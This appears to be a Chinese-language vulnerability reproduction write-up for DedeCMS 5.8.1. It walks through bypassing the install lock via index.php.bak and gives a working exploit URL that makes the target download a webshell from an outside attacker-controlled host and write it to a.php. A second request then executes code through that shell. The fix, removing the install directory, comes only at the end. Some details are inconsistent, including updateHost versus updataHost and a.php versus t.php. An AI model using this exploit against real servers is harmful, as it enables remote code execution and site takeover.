Dedecms框架漏洞复现①
漏洞成因
漏洞主要的成因在于install/index.php
文件的这一段(如果安装初始化了网站,那就是install/index.php.bak
这个文件)
这里其实涉及到一个Apache解析漏洞
当Apache检测到一个文件有多个扩展名时,如
index.php.bak
,会从右向左判断,直到有一个Apache认识的扩展名。所以这里的Index.php.bak也会被当作php文件进行解析
首先看到文件开头的If语句
1 | if (file_exists(INSLOCKFILE)) { |
由于我们要执行下面的语句,所以我们要想办法绕过这里的exit()
这里我们给INSLOCKFILE
赋任意值,只要是不存在的文件就可以,当insLockfile
指定的文件不存在时程序就会认为没有初始化过,就会继续执行初始化代码。
然后我们来到第十一步:step=11
1 | else if($step==11) { |
这段代码的作用是从指定URL下载数据并将其写入指定的文件。
那如果我们在我们的服务器上,放上一个恶意的文件,然后利用这段代码去下载,那不就可以RCE了嘛
漏洞复现
我们先根据指引,初始化网站
然后在我们的服务器上先新建一个dedecms
文件夹
然后在里面新建一个demodata.aaa.txt
文件,里面写入一句话木马
然后访问链接
1 | http://localhost/DedeCMS-5.8.1/install/index.php.bak?insLockfile=aaa&step=11&install_demo_name=./a.php&updateHost=http://1.14.60.36:9000/ |
之后用户就会下载我们的一句话木马到当前目录下的a.php
文件中
我们提交参数?updataHost=http://1.14.60.36:9000/
$rumurl
就会等于http://1.14.60.36/dedecms/demodata.utf-8.txt
($s_lang
等于utf-8
或gbk
,可以在前端查看,在这里也可以传递一个参数把$s_lang
覆盖)。同时提交参数?install_demo_name=./a.php
,我们的利用代码就会写在/install/t.php
中。
我们访问
1 | http://localhost/DedeCMS-5.8.1/install/a.php?a=phpinfo(); |
即可进行RCE
漏洞修复
在安装完成后移除install目录。